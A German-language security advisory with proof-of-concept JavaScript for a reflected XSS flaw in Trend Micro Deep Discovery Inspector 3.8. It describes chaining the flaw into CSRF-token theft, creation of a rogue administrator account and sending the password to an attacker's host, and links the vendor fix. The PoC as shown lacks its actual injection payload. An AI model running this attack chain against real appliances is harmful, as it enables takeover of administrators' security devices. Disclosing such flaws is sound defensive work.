
Proof-of-Concept-Exploit für reflektiertes XSS in Trend Micro Deep Discovery Inspector 3.8, das einen CSRF-Bypass und die Übernahme des Administratorkontos über die authentifizierte Weboberfläche ermöglicht.
Ich habe eine reflektierte XSS-Sicherheitslücke in der Management-Weboberfläche von Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 gefunden. Der anfällige Skriptpfad ist /php/detection_detail_filter.php. Dieses Skript ist nur für einen authentifizierten Benutzer zugänglich, aber das macht die Sicherheitslücke nicht weniger schwerwiegend, wenn man das folgende Angriffsszenario bedenkt.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png bestätigt, dass der Parameter ips[] anfällig für HTML-Code-Injection ist.
Diese Sicherheitslücke kann verwendet werden, um den CSRF-Schutz zu umgehen, ein CSRF-Token zu erhalten und erfolgreich einen CSRF-Angriff durchzuführen. Sogar eine vollständige Übernahme des Deep Discovery Inspector-Geräts kann mit dem folgenden Szenario erreicht werden:
1. Ein Benutzer, der in der DDI-Weboberfläche angemeldet ist, wird verleitet, eine bösartige Webseite zu besuchen.
2. Ein bösartiges Skript auf dieser Seite wird mithilfe der XSS-Sicherheitslücke in /php/detection_detail_filter.php gestartet.
3. Das Skript erhält ein CSRF-Token über eine PUT-Anfrage an /wsgi/csrf/get_token/
4. Anschließend verwendet es das aus der Antwort der vorherigen Anfrage erhaltene Token, um ein Konto mit Administratorrechten hinzuzufügen.
5. Das Passwort für das hinzugefügte Konto wird aus der Antwort auf die vorherige Anfrage abgerufen.
6. Das Passwort kann per HTTP-Anfrage an den Host des Angreifers übertragen werden.
Screen2.png zeigt den Angriff in Aktion.
Um den Angriff zu reproduzieren, können Sie den folgenden Codeausschnitt verwenden (die Variable ddi_ip sollte entsprechend der IP Ihres DDI-Geräts geändert werden):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Dieser PoC-Code sollte auf dem Webserver des Angreifers platziert werden, und ein Link zu diesem Server sollte von einem Benutzer (mit Administratorrechten) geöffnet werden, der in der DDI-Weboberfläche angemeldet ist. Der Benutzer kann durch Social Engineering verleitet werden, auf den Link zu klicken.
Trend Micro hat die folgende Lösung bereitgestellt: https://success.trendmicro.com/solution/1121079